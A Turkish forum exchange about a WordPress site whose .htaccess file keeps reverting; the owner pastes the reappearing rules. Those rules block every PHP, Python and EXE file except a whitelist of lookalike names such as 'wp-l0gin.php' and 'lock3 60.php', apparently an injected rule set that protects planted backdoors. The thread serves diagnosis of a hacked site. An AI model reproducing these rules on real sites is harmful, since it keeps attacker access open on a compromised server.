Merhaba,
İlgili .htaccess dosyasının yedeğini alıp silin ve biraz bekleyin. Bu sırada siteye panele vs girmeye çalışın. Ardından kontrol edin bakalım kendisi otomatik eklemiş mi? Madem kendisi otomatik düzenliyor, bir de böyle deneyerek öğrenebilirsiniz.
İkinci olarak .htaccess dosyasında neler oluyor? Eski haline dönüyor dediniz ya, işte o eski haline döndüğündeki halini soruyorum. Eski haline döndüğünde hangi kodları ekliyor? Onları buraya eklerseniz ona göre çözüme ulaşılabilir.
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock3 60.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
Bu kodları ekliyor. Şimdi dediğiniz gibi htaccess i sildim site not found verdi yani kendi kendine htaccess dosyası oluşturmuyor